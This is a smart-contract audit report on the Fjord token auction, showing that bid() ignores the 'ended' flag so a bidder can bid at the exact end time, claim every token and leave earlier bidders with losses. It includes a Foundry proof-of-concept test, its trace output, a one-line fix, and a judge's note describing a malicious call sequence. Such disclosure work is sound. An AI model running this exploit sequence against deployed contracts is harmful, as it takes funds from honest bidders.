Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Bidder can still bid even the auction is marked as closed, causing other bidders to lose money

erictee

Summary

In FjordAuction::bid& FjordAuction::unbid:

/**
* @notice Places a bid in the auction.
* @param amount The amount of FjordPoints to bid.
*/
function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
​
/**
* @notice Allows users to withdraw part or all of their bids before the auction ends.
* @param amount The amount of FjordPoints to withdraw.
*/
function unbid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
​
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}

Bidders can bid or unbid in FjordAuction with their FjordPointstokens.

In FjordAuction::auctionEnd:

function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
​
ended = true;
emit AuctionEnded(totalBids, totalTokens);
​
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
​
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
​
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}`

The above function is used to end an auction and all the fjordPointstokens collected will be burned. After the auction is ended, bidders will be able to claim the auctionToken as return. However, FjordAuctioncontract contains a vulnerability that allows bidders to bid even after the auction has been marked as ended (ended = true).

Specifically, the function FjordAuction::bidfails to check the state ended != truewhich allows bidders to still bid when block.timestamp = auctionEndTime.

Vulnerability Details

A proof of concept foundry test is provided as follow:

  • Add public mint function for ERC20BurnableMockfor the testing.

contract ERC20BurnableMock is ERC20, ERC20Burnable {
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
}
​
function mint(address target, uint amount) public {
_mint(target, amount);
}
}

  • Add the following foundry test in test/unit/auction.t.sol:

function test_bidAfterAuctionEnded() public {
address bidder = address(0x2);
address bidder2 = address(0x3);
uint256 bidAmount = 10 ether;
​
fjordPoints.mint(bidder,bidAmount);
fjordPoints.mint(bidder2,bidAmount);
//deal(address(fjordPoints), address(auction), bidAmount * 2);
​
vm.startPrank(bidder);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
​
​
vm.warp(block.timestamp + biddingTime); //block.timestamp = auctionEndTime
auction.auctionEnd();
​
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
auction.claimTokens();
vm.stopPrank();
​
vm.warp(block.timestamp + biddingTime + 1); //block.timestamp > auctionEndTime
​
vm.startPrank(bidder);
vm.expectRevert("ERC20: transfer amount exceeds balance");
auction.claimTokens();
​
vm.expectRevert(bytes4(keccak256("AuctionAlreadyEnded()")));
auction.unbid(bidAmount);
vm.stopPrank();
​
​
}

  • Run the foundry test with command: forge test --mt test_bidAfterAuctionEnded -vvvv:

Foundry Result:

mac@macs-MacBook-Pro 2024-08-fjord % forge test --mt test_bidAfterAuctionEnded -vvvv
[⠒] Compiling...
[⠢] Compiling 1 files with Solc 0.8.21
[⠆] Solc 0.8.21 finished in 5.11s
Compiler run successful!
​
Ran 1 test for test/unit/auction.t.sol:TestAuction
[PASS] test_bidAfterAuctionEnded() (gas: 289512)
Traces:
[367155] TestAuction::test_bidAfterAuctionEnded()
├─ [46815] ERC20BurnableMock::mint(SHA-256: [0x0000000000000000000000000000000000000002], 10000000000000000000 [1e19])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [24915] ERC20BurnableMock::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 10000000000000000000 [1e19])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [24652] ERC20BurnableMock::approve(FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000 [1e19])
│ ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], spender: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 10000000000000000000 [1e19])
│ └─ ← [Return] true
├─ [78753] FjordAuction::bid(10000000000000000000 [1e19])
│ ├─ [27770] ERC20BurnableMock::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000 [1e19])
│ │ ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], spender: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 0)
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 10000000000000000000 [1e19])
│ │ └─ ← [Return] true
│ ├─ emit BidAdded(bidder: SHA-256: [0x0000000000000000000000000000000000000002], amount: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(604801 [6.048e5])
│ └─ ← [Return]
├─ [53165] FjordAuction::auctionEnd()
│ ├─ emit AuctionEnded(totalBids: 10000000000000000000 [1e19], totalTokens: 1000000000000000000000 [1e21])
│ ├─ [585] ERC20BurnableMock::balanceOf(FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ │ └─ ← [Return] 10000000000000000000 [1e19]
│ ├─ [2892] ERC20BurnableMock::burn(10000000000000000000 [1e19])
│ │ ├─ emit Transfer(from: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: 0x0000000000000000000000000000000000000000, value: 10000000000000000000 [1e19])
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::startPrank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [24652] ERC20BurnableMock::approve(FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000 [1e19])
│ ├─ emit Approval(owner: RIPEMD-160: [0x0000000000000000000000000000000000000003], spender: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 10000000000000000000 [1e19])
│ └─ ← [Return] true
├─ [50853] FjordAuction::bid(10000000000000000000 [1e19])
│ ├─ [25770] ERC20BurnableMock::transferFrom(RIPEMD-160: [0x0000000000000000000000000000000000000003], FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000 [1e19])
│ │ ├─ emit Approval(owner: RIPEMD-160: [0x0000000000000000000000000000000000000003], spender: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 0)
│ │ ├─ emit Transfer(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], to: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 10000000000000000000 [1e19])
│ │ └─ ← [Return] true
│ ├─ emit BidAdded(bidder: RIPEMD-160: [0x0000000000000000000000000000000000000003], amount: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [37537] FjordAuction::claimTokens()
│ ├─ [29957] ERC20BurnableMock::transfer(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21])
│ │ ├─ emit Transfer(from: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 1000000000000000000000 [1e21])
│ │ └─ ← [Return] true
│ ├─ emit TokensClaimed(bidder: RIPEMD-160: [0x0000000000000000000000000000000000000003], amount: 1000000000000000000000 [1e21])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(1209602 [1.209e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [0] VM::expectRevert(ERC20: transfer amount exceeds balance)
│ └─ ← [Return]
├─ [2312] FjordAuction::claimTokens()
│ ├─ [832] ERC20BurnableMock::transfer(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
│ │ └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
│ └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
├─ [0] VM::expectRevert(AuctionAlreadyEnded())
│ └─ ← [Return]
├─ [405] FjordAuction::unbid(10000000000000000000 [1e19])
│ └─ ← [Revert] AuctionAlreadyEnded()
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.21ms (3.23ms CPU time)
​
Ran 1 test suite in 587.25ms (21.21ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

bidder2exploit the vulnerability in FjordAuction::bidfunction and bid on block.timestamp == auctionEndTime. As a result, bidder2 violates the invariant that Not allow to bid after the auction has ended. On the other hand, noticed that the early bidder bidderis not able to claim his token after the auction has ended, he also cannot reclaim his FjordPointstokens back, leading to fund loss to bidders.

Impact

Bidders still be able to bid even though the auction has been ended with (ended = true). As a result, early bidders will not be able to claim the auctionToken tokens that are supposed to be allocated to them, early bidders cannot reclaim their FjordPoints tokens back as trying to call FjordAuction::unbid will revert with AuctionAlreadyEnded error, causing fund loss to the bidders.

Tools Used

Foundry

Recommendations

Consider making the following changes in FjordAuction::bid:

function bid(uint256 amount) external {
-- if (block.timestamp > auctionEndTime) {
++ if (block.timestamp > auctionEndTime || ended ) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
​
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.